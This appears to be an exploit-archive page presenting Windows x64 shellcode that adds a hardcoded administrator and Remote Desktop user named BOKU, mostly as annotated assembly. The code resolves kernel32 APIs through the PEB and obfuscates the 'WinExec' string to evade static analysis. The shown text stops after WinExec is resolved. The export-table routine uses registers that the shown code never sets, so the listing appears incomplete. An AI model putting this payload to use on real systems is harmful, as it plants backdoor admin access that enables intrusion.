Exploits / Vulnerability Discovered : 2021-05-03 |
Type : shellcode |
Platform : windows_x86-64
This exploit / vulnerability Windows/x64 dynamic nonull add rdp admin (boku:sp3c1alm0v3) shellcode (387 bytes) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Shellcode Title: Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes)
# Shellcode Author: Bobby Cooke (boku)
# Date: 02/05/2021
# Tested on: Windows 10 v2004 (x64)
# Compiled from: Kali Linux (x86_64)
# Full Disclosure: github.com/boku7/x64win-AddRdpAdminShellcode
# Shellcode Description:
# 64bit Windows 10 shellcode that adds user BOKU:SP3C1ALM0V3 to the system and the localgroups
# Administrators & "Remote Desktop Users". Position Independent Code (PIC) that dynamically resolves
# KERNEL32 DLL via PEB & LDR. Shellcode contains no null bytes, and therefor can be used on typical
# stack based Buffer OverFlow vulnerabilities. Shellcode must be executed from a process with either
# a HIGH or SYSTEM integrity level.
; nasm -f win64 addRdpAdmin.asm -o addRdpAdmin.o
; for i in $(objdump -D addRdpAdmin.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
; Get kernel32.dll base address
xor rdi, rdi ; RDI = 0x0
mul rdi ; RAX&RDX =0x0
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8 = &kernel32.dll
; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the return address for ret 2 caller after API address is found
pop rcx ; Get the string length counter from stack
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter from the stack
xor rdi,rdi ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter from top of stack
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx ; place the return address from the api string call back on the top of the stack
ret ; return to API caller
apis: ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8 ; cexEniW,0xF0 --> 0x00,cexEniW
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax ; R14 = Kernel32.WinExec Address